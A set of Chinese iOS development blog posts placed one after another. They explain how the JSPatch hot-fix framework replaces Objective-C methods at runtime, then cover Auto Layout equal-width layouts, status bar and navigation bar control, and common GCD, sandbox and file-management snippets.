JS端如果发现返回是一个OC对象，会传入 _toJSObj()，生成一个 JSClass 实例，这个实例保存着OC对象指针，类名等。这个实例就是OC对象在 JSPatch 对应的JS对象，生命周期是一样的。

回到我们第二点说的 JS接口， 这个 JSClass 实例对象同样有 __c 函数，调用这个对象的方法时，同样走到 __c 函数， __c 函数会把JSClass实例对象里的OC对象指针以及要调用的方法名和参数回传给OC，这样OC就可以调用这个对象的实例方法了。

接着看看对象是怎样回传给OC的。上述例子中，view.setBackgroundColor(require('UIColor').grayColor())，这里生成了一个 UIColor 实例对象，并作为参数回传给OC。根据上面说的，这个 UIColor 实例在JS中的表示是一个 JSClass 实例，所以不能直接回传给OC，这里的参数实际上会在 __c 函数进行处理，会把对象的 .__obj 原指针回传给OC。

最后一点，OC对象可能会存在于 NSDictionary / NSArray 等容器里，所以需要遍历容器挑出OC对象进行格式化，OC需要把对象都替换成JS认得的格式，JS要把对象转成 JSClass 实例，JS实例回传给OC时需要把实例转为OC对象指针。所以OC流出数据时都会经过 formatOCObj() 方法处理，JS从OC得到数据时都会经过 _formatOCToJS() 处理，JS传参数给OC时会经过 _formatJSToOC() 处理，图示：



5.类型转换

JS把要调用的类名/方法名/对象传给OC后，OC调用类/对象相应的方法是通过 NSInvocation 实现，要能顺利调用到方法并取得返回值，要做两件事：

1.取得要调用的OC方法各参数类型，把JS传来的对象转为要求的类型进行调用。
2.根据返回值类型取出返回值，包装为对象传回给JS。

例如开头例子的 view.setAlpha(0.5)， JS传递给OC的是一个 NSNumber，OC需要通过要调用OC方法的 NSMethodSignature 得知这里参数要的是一个 float 类型值，于是把NSNumber转为float值再作为参数进行OC方法调用。这里主要处理了 int/float/bool 等数值类型，并对 CGRect/CGRange 等类型进行了特殊转换处理，剩下的就是实现细节了。

方法替换

JSPatch 可以用 defineClass 接口任意替换一个类的方法，方法替换的实现过程也是颇为曲折，一开始是用 va_list 的方式获取参数，结果发现 arm64 下不可用，只能转而用另一种hack方式绕道实现。另外在给类新增方法、实现property、支持self/super关键字上也费了些功夫，下面逐个说明。

基础原理

OC上，每个类都是这样一个结构体：

struct objc_class {
  struct objc_class * isa;
  const char *name;
  ….
  struct objc_method_list **methodLists; /*方法链表*/
};

其中 methodList 方法链表里存储的是Method类型：

typedef struct objc_method *Method;
typedef struct objc_ method {
  SEL method_name;
  char *method_types;
  IMP method_imp;
};

Method 保存了一个方法的全部信息，包括SEL方法名，type各参数和返回值类型，IMP该方法具体实现的函数指针。

通过 Selector 调用方法时，会从 methodList 链表里找到对应Method进行调用，这个 methodList 上的的元素是可以动态替换的，可以把某个 Selector 对应的函数指针IMP替换成新的，也可以拿到已有的某个 Selector 对应的函数指针IMP，让另一个 Selector 跟它对应，Runtime 提供了一些接口做这些事，以替换 UIViewController 的 -viewDidLoad: 方法为例：

static void viewDidLoadIMP (id slf, SEL sel) {
   JSValue *jsFunction = …;
   [jsFunction callWithArguments:nil];
}

Class cls = NSClassFromString(@"UIViewController");
SEL selector = @selector(viewDidLoad);
Method method = class_getInstanceMethod(cls, selector);

//获得viewDidLoad方法的函数指针
IMP imp = method_getImplementation(method)

//获得viewDidLoad方法的参数类型
char *typeDescription = (char *)method_getTypeEncoding(method);

//新增一个ORIGViewDidLoad方法，指向原来的viewDidLoad实现
class_addMethod(cls, @selector(ORIGViewDidLoad), imp, typeDescription);

//把viewDidLoad IMP指向自定义新的实现
class_replaceMethod(cls, selector, viewDidLoadIMP, typeDescription);

这样就把 UIViewController 的 -viewDidLoad 方法给替换成我们自定义的方法，APP里调用 UIViewController 的 viewDidLoad 方法都会去到上述 viewDidLoadIMP 函数里，在这个新的IMP函数里调用JS传进来的方法，就实现了替换 -viewDidLoad 方法为JS代码里的实现，同时为 UIViewController 新增了个方法 -ORIGViewDidLoad 指向原来 viewDidLoad 的IMP，JS可以通过这个方法调用到原来的实现。

方法替换就这样很简单的实现了，但这么简单的前提是，这个方法没有参数。如果这个方法有参数，怎样把参数值传给我们新的IMP函数呢？例如 UIViewController 的 -viewDidAppear: 方法，调用者会传一个Bool值，我们需要在自己实现的IMP（上述的viewDidLoadIMP）上拿到这个值，怎样能拿到？如果只是针对一个方法写IMP，是可以直接拿到这个参数值的：

static void viewDidAppear (id slf, SEL sel, BOOL animated) {
   [function callWithArguments:@(animated)];
}

但我们要的是实现一个通用的IMP，任意方法任意参数都可以通过这个IMP中转，拿到方法的所有参数回调JS的实现。

va_list实现(32位)

最初我是用可变参数va_list实现：

static void commonIMP(id slf, ...)
  va_list args;
  va_start(args, slf);
  NSMutableArray *list = [[NSMutableArray alloc] init];
  NSMethodSignature *methodSignature = [cls instanceMethodSignatureForSelector:selector];
  NSUInteger numberOfArguments = methodSignature.numberOfArguments;
  id obj;
  for (NSUInteger i = 2; i < numberOfArguments; i++) {
      const char *argumentType = [methodSignature getArgumentTypeAtIndex:i];
      switch(argumentType[0]) {
          case 'i':
              obj = @(va_arg(args, int));
              break;
          case 'B':
              obj = @(va_arg(args, BOOL));
              break;
          case 'f':
          case 'd':
              obj = @(va_arg(args, double));
              break;
          …… //其他数值类型
          default: {
              obj = va_arg(args, id);
              break;
          }
      }
      [list addObject:obj];
  }
  va_end(args);
  [function callWithArguments:list];
}

这样无论方法参数是什么，有多少个，都可以通过 va_list 的一组方法一个个取出来，组成NSArray在调用JS方法时传回。很完美地解决了参数的问题，一直运行正常，直到我跑在arm64的机子上测试，一调用就crash。查了资料，才发现arm64下 va_list 的结构改变了，导致无法上述这样取参数。详见这篇文章。

ForwardInvocation实现(64位)

后来找到另一种非常hack的方法解决参数获取的问题，利用了OC消息转发机制。

当调用一个 NSObject 对象不存在的方法时，并不会马上抛出异常，而是会经过多层转发，层层调用对象的 -resolveInstanceMethod:, -forwardingTargetForSelector:, -methodSignatureForSelector:, -forwardInvocation: 等方法，这篇文章说得比较清楚，其中最后 -forwardInvocation: 是会有一个 NSInvocation 对象，这个 NSInvocation 对象保存了这个方法调用的所有信息，包括 Selector 名，参数和返回值类型，最重要的是有所有参数值，可以从这个 NSInvocation 对象里拿到调用的所有参数值。我们可以想办法让每个需要被JS替换的方法调用最后都调到 -forwardInvocation:，就可以解决无法拿到参数值的问题了。

具体实现，以替换 UIViewController 的 -viewWillAppear: 方法为例：


	把UIViewController的 -viewWillAppear: 方法通过 class_replaceMethod() 接口指向一个不存在的IMP: class_getMethodImplementation(cls, @selector(__JPNONImplementSelector))，这样调用这个方法时就会走到 -forwardInvocation:。


	为 UIViewController 添加 -ORIGviewWillAppear: 和 -_JPviewWillAppear: 两个方法，前者指向原来的IMP实现，后者是新的实现，稍后会在这个实现里回调JS函数。


	改写 UIViewController 的 -forwardInvocation: 方法为自定义实现。一旦OC里调用 UIViewController 的 -viewWillAppear: 方法，经过上面的处理会把这个调用转发到 -forwardInvocation: ，这时已经组装好了一个 NSInvocation，包含了这个调用的参数。在这里把参数从 NSInvocation 反解出来，带着参数调用上述新增加的方法 -JPviewWillAppear: ，在这个新方法里取到参数传给JS，调用JS的实现函数。整个调用过程就结束了，整个过程图示如下：






最后一个问题，我们把 UIViewController 的 -forwardInvocation: 方法的实现给替换掉了，如果程序里真有用到这个方法对消息进行转发，原来的逻辑怎么办？首先我们在替换 -forwardInvocation: 方法前会新建一个方法 -ORIGforwardInvocation:，保存原来的实现IMP，在新的 -forwardInvocation: 实现里做了个判断，如果转发的方法是我们想改写的，就走我们的逻辑，若不是，就调 -ORIGforwardInvocation: 走原来的流程。

实现过程中还碰到一个坑，就是从 -forwardInvocation: 里的 NSInvocation 对象取参数值时，若参数值是id类型，我们会这样取:

id arg;
[invocation getArgument:&arg atIndex:i];

但这样取某些时候会导致莫名其妙的crash，而且不是crash在这个地方，似乎这里的指针取错导致后续的内存错乱，crash在各种地方，这个bug查了我半天才定位到这里，至今不知为什么。后来以这样的方式解决了：

void *arg;
[invocation getArgument:&arg atIndex:i];
id a = (__bridge id)arg;

其他就是实现上的细节了，例如需要根据不同的返回值类型生成不同的IMP，要在各处处理参数转换等。

新增方法

在 JSPatch 刚开源时，是不支持为一个类新增方法的，因为觉得能替换原生方法就够了，新的方法纯粹添加在JS对象上，只在JS端跑就行了。另外OC为类新增方法需要知道各个参数和返回值的类型，需要在JS定一种方式把这些类型传给OC才能完成新增方法，比较麻烦。后来挺多人比较关注这个问题，不能新增方法导致 action-target 模式无法用，我也开始想有没有更好的方法实现添加方法。一开始想到，反正新增的方法都是JS在用，不如新增的方法返回值和参数全统一成id类型，这样就不用传类型了，但还是需要知道参数个数，后来跟Lancy聊天时找到了解决方案，JS可以获得函数参数个数，直接封装一下把参数个数一并传给OC就行了。

现在 defineClass 定义的方法会经过JS包装，变成一个包含参数个数和方法实体的数组传给OC，OC会判断如果方法已存在，就执行替换的操作，若不存在，就调用 class_addMethod() 新增一个方法，通过传过来的参数个数和方法实体生成新的 Method，把 Method 的参数和返回值类型都设为id。

这里有个问题，若某个类实现了某protocol，protocol方法里有可选的方法，它的参数不全是id类型，例如 UITableViewDataSource 的一个方法：

- (NSInteger)tableView:(UITableView *)tableView sectionForSectionIndexTitle:(NSString *)title atIndex:(NSInteger)index;

若原类没有实现这个方法，在JS里实现了，会走到新增方法的逻辑，每个参数类型都变成id，与这个 protocol 方法不匹配，产生错误。后续会处理 protocol 的问题，若新增的方法是 protocol 实现的方法，会取这个方法的 NSMethodSignature 获得正确的参数类型进行添加。

Property实现

defineClass('JPTableViewController : UITableViewController', {
  dataSource: function() {
    var data = self.getProp('data')
    if (data) return data;
    data = [1,2,3]
    self.setProp_forKey(data, 'data')
    return data;
  }
}

JSPatch 可以通过 -getProp:， -setProp:forKey: 这两个方法给对象添加成员变量。实现上用了运行时关联接口 objc_getAssociatedObject() 和 objc_setAssociatedObject() 模拟，相当于把一个对象跟当前对象 self 关联起来，以后可以通过当前对象 self 找到这个对象，跟成员的效果一样，只是一定得是id对象类型。

本来OC有 class_addIvar() 可以为类添加成员，但必须在类注册之前添加完，注册完成后无法添加，这意味着可以为在JS新增的类添加成员，但不能为OC上已存在的类添加，所以只能用上述方法模拟。

self关键字

defineClass("JPViewController: UIViewController", {
  viewDidLoad: function() {
    var view = self.view()
    ...
  },
}

JSPatch支持直接在 defineClass 里的实例方法里直接使用 self 关键字，跟OC一样 self 是指当前对象，这个 self 关键字是怎样实现的呢？实际上这个self是个全局变量，在 defineClass 里对实例方法 方法进行了包装，在调用实例方法之前，会把全局变量 self 设为当前对象，调用完后设回空，就可以在执行实例方法的过程中使用 self 变量了。这是一个小小的trick。

super关键字

defineClass("JPViewController: UIViewController", {
  viewDidLoad: function() {
    self.super.viewDidLoad()
  },
}

OC里 super 是一个关键字，无法通过动态方法拿到 super，那么 JSPatch 的super是怎么实现的？实际上调用 super 的方法，OC做的事是调用父类的某个方法，并把当前对象当成 self 传入父类方法，我们只要模拟它这个过程就行了。

首先JS端需要告诉OC想调用的是当前对象的 super 方法，做法是调用 self.super时，会返回一个新的 JSClass 实例，这个实例同样保存了OC对象的引用，同时标识 __isSuper=1。

JSClass = function(obj, className, isSuper) {
    this.__obj = obj
    this.__isSuper = isSuper
    this.__clsName = className
}
JSClass.prototype.__defineGetter__('super', function(){
  if (!this.__super) {
    this.__super = new JSClass(this.__obj, this.__clsName, 1)
  }
  return this.__super
})

调用方法时，__isSuper 会传给OC，告诉OC要调 super 的方法。OC做的事情是，如果是调用 super 方法，找到 superClass 这个方法的IMP实现，为当前类新增一个方法指向 super 的IMP实现，那么调用这个类的新方法就相当于调用 super 方法。把要调用的方法替换成这个新方法，就完成 super 方法的调用了。

static id callSelector(NSString *className, NSString *selectorName, NSArray *arguments, id instance, BOOL isSuper) {
    ...
    if (isSuper) {
        NSString *superSelectorName = [NSString stringWithFormat:@"SUPER_%@", selectorName];
        SEL superSelector = NSSelectorFromString(superSelectorName);

        Class superCls = [cls superclass];
        Method superMethod = class_getInstanceMethod(superCls, selector);
        IMP superIMP = method_getImplementation(superMethod);

        class_addMethod(cls, superSelector, superIMP, method_getTypeEncoding(superMethod));
        selector = superSelector;
    }
    ...
}

总结

整个 JSPatch 实现原理就大致描述完了，剩下的一些小点，例如GCD接口，block实现，方法名下划线处理等就不细说了，可以直接看代码。JSPatch 还在持续改进中，希望能成为iOS平台动态更新的最佳解决方案，欢迎大家一起建设这个项目，github地址： https://github.com/bang590/JSPatch
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  此系列文章代码仓库在 https://github.com/johnlui/AutoLayout ，有不明白的地方可以参考我的 Auto Layout 设置哦，下载到本地打开就可以了。




准备


上一篇文章中，我们共同进行了 Auto Layout 的初体验，在本篇我们将一起尝试用 Auto Layout 实现三等分。


Auto Layout 的本质原理


Auto Layout 的本质是用一些约束条件对元素进行约束，从而让他们显示在我们想让他们显示的地方。


约束主要分为以下几种（欢迎补充）：



	相对于父 view 的约束。如：距离上边距 10，左边距 10。

	相对于前一个元素的约束。如：距离上一个元素 20，距离左边的元素 5 等。

	对齐类约束。如：跟父 view 左对齐，跟上一个元素居中对齐等。

	相等约束。如：跟父 view 等宽。



三等分设计思路


许多人刚开始接触 Auto Layout，可能会以为它只能实现上面的1、2功能，其实后面3、4两个功能才是强大、特别的地方。接下来我们将尝试设计横向三等分：



	第一个元素距离左边一定距离。

	最后一个元素距离右边一定距离。

	三者高度恒定，宽度相等。

	1和2、2和3的横向间距固定。



干货，实现过程的动图：





运行结果


4 寸：





4.7 寸：





纵向三等分实现方式类似，大家可以自己尝试一下哦~



  下一步：Auto Layout 使用心得（三）—— 自定义 cell 并使用 Auto Layout】






原文发表在我的个人网站：Auto Layout 使用心得（二）—— 实现三等分
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原文：IOS状态栏和导航栏的控制问题

IOS的项目多数会遇到控制状态栏和导航栏的问题，比如隐藏状态栏、控制状态栏的文字颜色等，导航栏也有同样需求。本文总结一下操作方法。

首先一点，IOS的界面分为状态栏和导航栏，状态栏是指显示电池、时间的最顶部的一个窄条，高度为20个点；而导航栏是紧接着状态栏的44个点高度的横条，一般用于显示app标题，返回按钮等操作按钮。

在ios7之前，状态栏和导航栏是分开的，而从ios7开始状态栏和导航栏交织在一起了，状态栏变为透明，导航栏的高度变为44+20=64：



状态栏控制

对状态栏的控制分两种情况：全局设置和分页面设置。控制这两种模式的开关是info.plist文件的View controller-based status bar appearance配置项。

全局设置状态栏

将info.plist文件的View controller-based status bar appearance设置为NO，即可开启全局设置，也就是说你在VC中对状态栏的控制都将无效，相比之下，是通过下面的代码来全局控制：

//设置状态栏的字体颜色模式
[[UIApplication sharedApplication] setStatusBarStyle:UIStatusBarStyleLightContent];
//设置状态栏是否隐藏
[[UIApplication sharedApplication] setStatusBarHidden:YES];


注意，我们并不能对状态栏的字体颜色做任意的控制，只有两种选择UIStatusBarStyleDefault和UIStatusBarStyleLightContent，前者是默认的黑色，而后者是白色。也就是说如果你的背景色是偏深色，那么设置状态栏的字体颜色为白色。另外，我们可以全局设置状态栏是否显示，但是一般而言app不会对所有界面都不显示状态栏，而是只在特定的页面需要隐藏状态栏，比如对于视频播放界面不希望显示状态栏。

对于状态栏的背景色设置，上面提到从ios7开始状态栏本身实际上是透明的，它的背景色其实取决于导航栏的背景色。下面会讲导航栏的设置。

分页面设置状态栏

将info.plist文件的View controller-based status bar appearance设置为YES，即可开启由VC来控制状态栏的功能，在这种模式下，全局的设置将无效！！所以我们必须逐个页面对状态栏进行设置，否则状态栏将维持默认的黑色字体和默认为显示状态。

字体设置

对于设置状态栏字体颜色，分两种情况：VC是否属于UINavigationController中：

1) 当VC不在UINavigationController中时，在VC中添加一个方法


- (UIStatusBarStyle)preferredStatusBarStyle
{ 
    //返回白色
    return UIStatusBarStyleLightContent;
    //返回黑色
    //return UIStatusBarStyleDefault;
}


保险起见，在view的某个加载阶段比如viewWillAppear中，执行：


[self setNeedsStatusBarAppearanceUpdate];


2) 当VC在UINavigationController中时，VC并不能通过1)的方式控制状态栏的颜色，详见本文后面的参考资料，那么这个时候，有一个trick的方法可以在VC中间接的控制：


self.navigationController.navigationBar.barStyle = UIBarStyleBlack;


隐藏控制

对于控制状态栏的隐藏同样存在VC是否是根控制器的问题，也就说只有根控制器才能直接控制状态栏的显示与否。

1) 如果是VC本身就是根控制器，那么在VC中添加如下代码：


- (BOOL)prefersStatusBarHidden {
    return YES;
}


当然，保险起见，在适当的时候调用


[self setNeedsStatusBarAppearanceUpdate];


2) 如果VC不是根控制器，那么不像控制字体颜色那样有trick，我们只能间接的通过在子VC中控制根VC，从而间接控制根控制器。那么这个方法就很多了，比如我的根VC是个tab的VC，首先现在tab的VC中，实现1)：


@interface YYCTabBarController : RDVTabBarController

//定义一个变量来控制状态栏显示，子VC通过修改这个值来间接控制
@property (nonatomic,assign)BOOL statusBarHidden;

@end

@implementation YYCTabBarController

- (BOOL)prefersStatusBarHidden {
    return _statusBarHidden;
}

@end


在子VC中：


- (void)viewWillAppear:(BOOL)animated{
    [super viewWillAppear:animated];
    
    //rdv_tabBarController指向YYCTabBarController
    if([self.rdv_tabBarController respondsToSelector:@selector(setStatusBarHidden:)]){
        [self.rdv_tabBarController performSelector:@selector(setStatusBarHidden:) withObject:@(YES)];
        [self setNeedsStatusBarAppearanceUpdate];
    }
}

- (void)viewWillDisappear:(BOOL)animated{
    [super viewWillDisappear:animated];
    
    if([self.rdv_tabBarController respondsToSelector:@selector(setStatusBarHidden:)]){
        //注意对NO的情况，不能传@NO，只能传nil才能被当成NO
        [self.rdv_tabBarController performSelector:@selector(setStatusBarHidden:) withObject:nil];
        [self setNeedsStatusBarAppearanceUpdate];
    }
}


可以看到在子VC中通过设置根VC的属性，并调用setNeedsStatusBarAppearanceUpdate后，根VC的prefersStatusBarHidden就会被调用，从而隐藏或显示状态栏。

导航栏控制

背景控制

在IOS7中使用barTintColor来控制导航栏的背景色:


[[UINavigationBar appearance] setBarTintColor:[UIColor yellowColor]]; 




这个设置方法可以在AppDelegate中设置，全局可以生效。

如果希望使用图片来作为导航的背景，那么需要注意的是ios7中图片的高度问题。上面提到过了，ios7导航栏的高度其实是算上状态栏的，即44+20=64个点的高度。可以通过setBackgroundImage来设置：


[[UINavigationBar appearance] setBackgroundImage:[UIImage imageNamed:@ "nav_bg.png" ] forBarMetrics:UIBarMetricsDefault]; 




前景控制

前景控制分为标题控制和返回按钮(等系统按钮)的控制

标题需要通过setTitleTextAttributes来设置，相对比较复杂一些，例如：


NSShadow *shadow = [[NSShadow alloc] init]; 
shadow.shadowColor = [UIColor colorWithRed:0.0 green:0.0 blue:0.0 alpha:0.8]; 
shadow.shadowOffset = CGSizeMake(0, 1); 
[[UINavigationBar appearance] setTitleTextAttributes: [NSDictionary dictionaryWithObjectsAndKeys: 
        [UIColor colorWithRed:245.0/255.0 green:245.0/255.0 blue:245.0/255.0 alpha:1.0], NSForegroundColorAttributeName, 
        shadow, NSShadowAttributeName, 
        [UIFont fontWithName:@ "HelveticaNeue-CondensedBlack"  size:21.0], NSFontAttributeName, nil]]; 




设置返回按钮(等系统按钮)可以通过TintColor，直接来设置颜色


[[UINavigationBar appearance] setTintColor:[UIColor whiteColor]];




显示设置

有时我们希望导航栏不显示，而有时又希望显示，那么最好通过每个个体的VC来控制，如果某个VC需要与其他VC有所区别，那么最好是“负责到底”，即在进入VC时改变导航栏的显示状态，而退出时还原：


- (void) viewWillAppear:(BOOL)animated {
    [super viewWillAppear:animated];
    [self.navigationController.navigationBar setHidden:YES];
    [self.rdv_tabBarController setTabBarHidden:YES animated:NO];
}

- (void) viewWillDisappear:(BOOL)animated {
    [super viewWillDisappear:animated];
    [self.navigationController.navigationBar setHidden:NO];
    [self.rdv_tabBarController setTabBarHidden:NO animated:NO];
}


如何在有导航栏的情况下定位控件的Y

可能初学ios的同学(尤其是通过手写代码布局的同学)都会有这么个感受，为什么我的控件有的时候明明定位在VC上，但会被导航栏遮住，那么你可能会得出结论原点(0,0)是在屏幕的左上角被导航栏遮住的；而对于像UITableView这样的，设置了全屏铺满，怎么就没有被导航栏遮住呢？原点难道不在左上角？

笔者被这个问题困扰了很久，这里谈一下最近的一个理解。我们拿UITextView来看

当我们把一个UITextView放到一个没有导航的VC中时：


UITextView *textView = [[UITextView alloc] init];
textView.frame = CGRectMake(10, 200, 300, 120);
textView.backgroundColor = [UIColor redColor];
textView.text = @"游戏分两种,一种是在生活中玩的,另一种是生活在其中的。这两个世界相互矛盾,而两位约翰就分别属于这不同的世界。";
textView.font = [UIFont boldSystemFontOfSize:40];
textView.editable = NO;
[self.view addSubview:textView]


效果是这样的，看起来并没有什么问题



然而如果我们把这个VC放到一个导航控制器中，同样的代码却是这样结果



首先，看起来UITextView距离设备顶部的绝对距离似乎并没有变化，但是请注意UITextView的滚动条，滚动条竟然没有顶部对齐，而且文字也向下移位了，看起来空出一大块。仔细看空出的这段高度其实刚好是导航栏的高度64个点！！经过搜索，我发现只要设置如下代码即可恢复这种异常的状况：


self.automaticallyAdjustsScrollViewInsets = NO;


这下明白了，原来VC会对其内部的UIScrollView的内容部分进行一个Inset，这个Inset在上半部分刚好就对应导航栏的高度，而UIScrollView包括UITableView和UITextView等。到这里，似乎有些问题明朗了：


	VC中的view默认会对UIScrollView做一个适应导航栏的处理，由此推测，其实只要是VC中的控件，都是从设备左上角的(0,0)开始算的，只是对于UIScrollView，VC会自动调整一下内容的位置而已。


	在有导航的情况下，可视范围的Y坐标就是从64开始的，除了UIScrollView的控件，定位的时候，都应当以(0,64)为原点；而UIScrollView如果是全屏的，那么无所谓，如果不是全屏的，请注意是否需要设置VC的automaticallyAdjustsScrollViewInsets。




参考资料


	定制iOS 7中的导航栏和状态栏


	iOS Programming 101: How to Customize Navigation Bar and Back Button


	How to change Status Bar text color in iOS 7


	preferredStatusBarStyle isn't called


	Blank space at top of UITextView in iOS 7
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前言

github：https://github.com/koknine
（求star，follow ^_^）

之前总结分享的内容在实际 iOS 开发过程中都能起到一定的辅助，那么本篇文章就着重归类一些平时开发常用的代码模块部分，那种经常使用但容易出错或者漏掉细节的内容。除此之外，还有一些优化方法的归纳，特别是UITableView，使用频率相当高。

内容慢慢添加，涉及的可能会很多，写这些的目的是为了提醒自己，不要在一些细节上弄出问题。

iOS 开发优化

很好的文章，iOS开发性能调优
http://blog.csdn.net/linzhiji/article/details/8792930

多线程

多线程开发在 iOS 开发中是非常强大而且能提升性能的手段，特别是在网络请求部分，结合 block 使用，不仅要考虑到线程问题，还有 block 块的循环引用，所以必须要特别强调，时刻提醒自己。

block 相关

使用copy修饰属性

想不循环应用，那么在 block 外面这样声明

__weak __typeof(self)weakSelf = self;


接着，在 block 里面这样

__strong __typeof(weakSelf)strongSelf = weakSelf;


这样既防止循环应用，又避免 block 内部 self 会无效的可能

AFNetworking里面这样使用的很多

GCD

异步请求，我只认准 GCD | GCD异步，你值得拥有 （广告先走一波）

网络请求放在子线程，UI 只能在主线程更新

dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^(void) {
    // 处理各种耗时间的事情，比如网络请求数据，天知道要什么时候才能结束
    
    dispatch_async(dispatch_get_main_queue(), ^(void) {
        
        // 好了以后，我们回到主线程进行界面刷新
    });
});


只执行一次

Xcode 自带的代码块

static dispatch_once_t onceToken;
dispatch_once(&onceToken, ^{
    
});


延迟执行

Xcode 自带的代码块

double delaySeconds = 5.0;
dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(delaySeconds * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{
    
});


创建队列

dispatch_queue_t baidu_queue = dispatch_queue_create("baidu.com", NULL);

dispatch_async(baidu_queue, ^{
    NSLog(@"开启异步任务");
});

dispatch_sync(baidu_queue, ^{
    NSLog(@"开启同步任务");
});



//----------------------------------

//执行10次，每次执行都开新进程，所以顺序不一定
dispatch_apply(10, DISPATCH_QUEUE_PRIORITY_DEFAULT, ^(size_t index) {
    NSLog(@"index = %ld",index);
}); 

/-----------------------------------


任务组

// 多个任务（在多个线程）同时执行，等他们完成以后，再执行其他任务
//先建立一个分组，多个任务形成一个组，在组里面的任务完成以后再执行后续的任务

dispatch_queue_t queue = dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0);

dispatch_group_t group = dispatch_group_create();

dispatch_group_async(group, queue, ^{
    NSLog(@"1");
});
dispatch_group_async(group, queue, ^{
    NSLog(@"2");
});
dispatch_group_async(group, queue, ^{
    NSLog(@"3");
});
dispatch_group_async(group, queue, ^{
    NSLog(@"4");
});
dispatch_group_async(group, queue, ^{
    NSLog(@"5");
});

dispatch_group_notify(group, dispatch_get_main_queue(), ^{
    NSLog(@"主线程");
});


NSOperation

UIKit

UIView 相关

- (void)setNeedsLayout;
调用layoutSubviews方法

- (void)setNeedsDisplay;
调用 drawRect方法

新特性

版本更新或者第一次下载，我们都要看的页面，对 app 的初步介绍

https://github.com/nsdictionary/CoreNewFeatureVC

侧滑菜单

https://github.com/romaonthego/RESideMenu

图片浏览器

点击一张图片，全屏浏览，背景为黑色

https://github.com/mwaterfall/MWPhotoBrowser

HUD

有两个非常好用

	SVProgressHUD




https://github.com/TransitApp/SVProgressHUD

	MBProgressHUD




https://github.com/jdg/MBProgressHUD

UILabel

非常高能，支持各种富文本

https://github.com/TTTAttributedLabel/TTTAttributedLabel

UINavigationBar

向上滑动的时候，UINavigationBar会跟随滚动消失，反之会显示


	https://github.com/andreamazz/AMScrollingNavbar


	http://old.code4app.com/ios/XHYScrollingNavBarViewController/531d5768933bf0a83e8b6ac0




可伸缩的头部视图

http://www.cocoachina.com/bbs/read.php?tid=288489

UITableView  的优化


	最基本的，cell 重用机制，如果这个都不知道的话，那可以去撞墙了。。。


	异步加载数据，这个也是很基本的


	自动载入更新数据，比如每次载入20条信息，然后在滚动到最后5条信息，就加载更多的信息


	图片下载完成以后，判断 cell 如果是可见的，那么就需要更新图像




UIPasteboard 粘贴板

UITextView，UITextField，UIWebView这三个控件自带复制功能，而UILabel和UIImageView需要手动修改，才有复制功能，这个时候用到UIPasteboard

相关地址：http://blog.csdn.net/chengwuli125/article/details/8588554

blur 模糊

VVBlurPresentation
https://github.com/onevcat/VVBlurPresentation

UIWebView

OC 与 javascript 之间的桥梁 
https://github.com/marcuswestin/WebViewJavascriptBridge

KVO

facebook 出品，更安全的 KVO 调用方式
https://github.com/facebook/KVOController

数据持久化

沙盒

访问沙盒里面几个路径

//获取根目录
NSString *homePath = NSHomeDirectory();
NSLog(@"Home目录：%@",homePath);

//获取Documents文件夹目录
NSArray *docPath = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory,NSUserDomainMask, YES);
NSString *documentsPath = [docPath objectAtIndex:0];
NSLog(@"Documents目录：%@",documentsPath);


//获取Cache目录
NSArray *cacPath = NSSearchPathForDirectoriesInDomains(NSCachesDirectory, NSUserDomainMask, YES);
NSString *cachePath = [cacPath objectAtIndex:0];
NSLog(@"Cache目录：%@",cachePath);   


//获取Library目录
NSArray *libsPath = NSSearchPathForDirectoriesInDomains(NSLibraryDirectory, NSUserDomainMask, YES);
NSString *libPath = [libsPath objectAtIndex:0];
NSLog(@"Library目录：%@",libPath);


//获取temp目录
NSString *tempPath = NSTemporaryDirectory();
NSLog(@"temp目录：%@",tempPath);


写入与读取

NSArray *testArray1 = @[@"1",@"2"];
//documentsPath是前面创建的
NSString *filePath = [documentsPath stringByAppendingPathComponent:@"testArray1.text"];
//写入
[testArray1 writeToFile:filePath atomically:YES];
//读取
NSArray *readTestArray1 = [NSArray arrayWithContentsOfFile:filePath];



文件管理


//获取文件管理器
NSFileManager *fileManager = [NSFileManager defaultManager];

//文件目录名
NSString *testDirectory = [documentsPath stringByAppendingPathComponent:@"ttttest"];

//执行创建
[fileManager createDirectoryAtPath:testDirectory withIntermediateDirectories:YES attributes:nil error:nil];   


在刚才创建的文件夹下继续写入内容

 
//在文件目录下继续写入的路径
NSString *tPath = [testDirectory stringByAppendingPathComponent:@"t1.txt"];

//要写入内容
NSString *contentString = @"ready...";

//执行写入
[fileManager createFileAtPath:tPath contents:[contentString dataUsingEncoding:NSUTF8StringEncoding] attributes:nil];


获取一个目录下面所有的子文件

//获取documents下面的所有文件，可以看到隐藏的内容
NSArray *file = [fileManager subpathsOfDirectoryAtPath:documentsPath error:nil];

NSLog(@"file%@",file);

NSArray *file2 = [fileManager subpathsAtPath:documentsPath];

NSLog(@"file2=%@",file2);   


改变文件管理器所能操作的位置

//移到准备操作的目录下
[fileManager changeCurrentDirectoryPath:[documentsPath stringByExpandingTildeInPath]];

//创建文件
NSString *fileName = @"newTest.txt";

NSString *tString = @"ttttttt";

[fileManager createFileAtPath:fileName contents:[tString dataUsingEncoding:NSUTF8StringEncoding] attributes:nil];


删除文件

//接着上面，就一句话
[fileManager removeItemAtPath:fileName error:nil];



归档与解档

遵循NSCoding协议，然后实现那两个协议方法

MJExtension可以快速实现，不用写恶心的代码

属性列表

NSUserDefault

记得存的时候同步一下，因为存储不是立即的

数据库

系统自带的 API 实在不好用，FMDB的封装性非常高，专注于写 sql 语句即可

https://github.com/ccgus/fmdb

（特别注意FMDB的多线程处理）

Core Data

同样，原生的内容复杂，Magical Record是很好的解决方案

https://github.com/magicalpanda/MagicalRecord

（新版本过期了一些方法）

（未完待续）

总结

随着 iOS 不断的发展，我们总是在接触新的知识，在不断的学习过程中，有那么一些细节性的内容总是会遗漏，以前总没有好的习惯来总结，以至于会疏忽一些问题从而导致不必要的麻烦。


 Auto Layout 使用心得（一）—— 初体验

作者：JohnLui

来源： Auto Layout 使用心得（一）—— 初体验



                    
本系列文章将从一个慢慢摸索中的新手的角度介绍 Auto Layout，讲述我在这两个月的学习中对它一点一滴的感受，最终目的是让大家在阅读完之后能够自己上手使用，并完成绝大多数简单的布局约束。



  此系列文章代码仓库在 https://github.com/johnlui/AutoLayout ，有不明白的地方可以参考我的 Auto Layout 设置哦，下载到本地打开就可以了。




